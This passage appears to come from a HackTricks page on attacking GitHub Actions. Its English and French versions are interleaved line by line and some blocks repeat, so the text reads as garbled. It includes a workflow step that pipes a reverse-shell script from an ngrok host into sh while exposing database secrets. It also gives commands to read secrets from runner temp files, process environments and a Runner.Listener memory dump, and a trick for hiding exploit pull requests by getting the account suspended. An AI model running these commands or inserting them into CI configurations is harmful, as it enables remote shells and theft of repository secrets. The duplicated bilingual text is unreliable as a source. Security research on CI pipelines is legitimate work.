run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- Pour des actions JavaScript, les secrets sont envoyés via des variables d'environnement.
- ```bash
ps axe | grep node
```
- Pour une **action personnalisée**, le risque peut varier en fonction de la manière dont un programme utilise le secret qu'il a obtenu de l'**argument** :
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
### Abus des runners auto-hébergés
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et la malveillante pourrait **voler les secrets** de l'autre.
Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registre d'images Docker Github
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
Il est possible de créer des actions Github qui **construiront et stockeront une image Docker à l'intérieur de Github**.\
Un exemple peut être trouvé dans l'expansible suivant :
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
Comme vous pouvez le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors télécharger l'image Docker en utilisant un jeton d'accès personnel :
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
### Informations sensibles dans les journaux de Github Actions
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
## Couvrir vos traces
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **cant delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Sur GitHub, par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub, soit faire signaler votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM, car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
## Tools
## Outils
The following tools are useful to find Github Action workflows and even find vulnerable ones:
Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}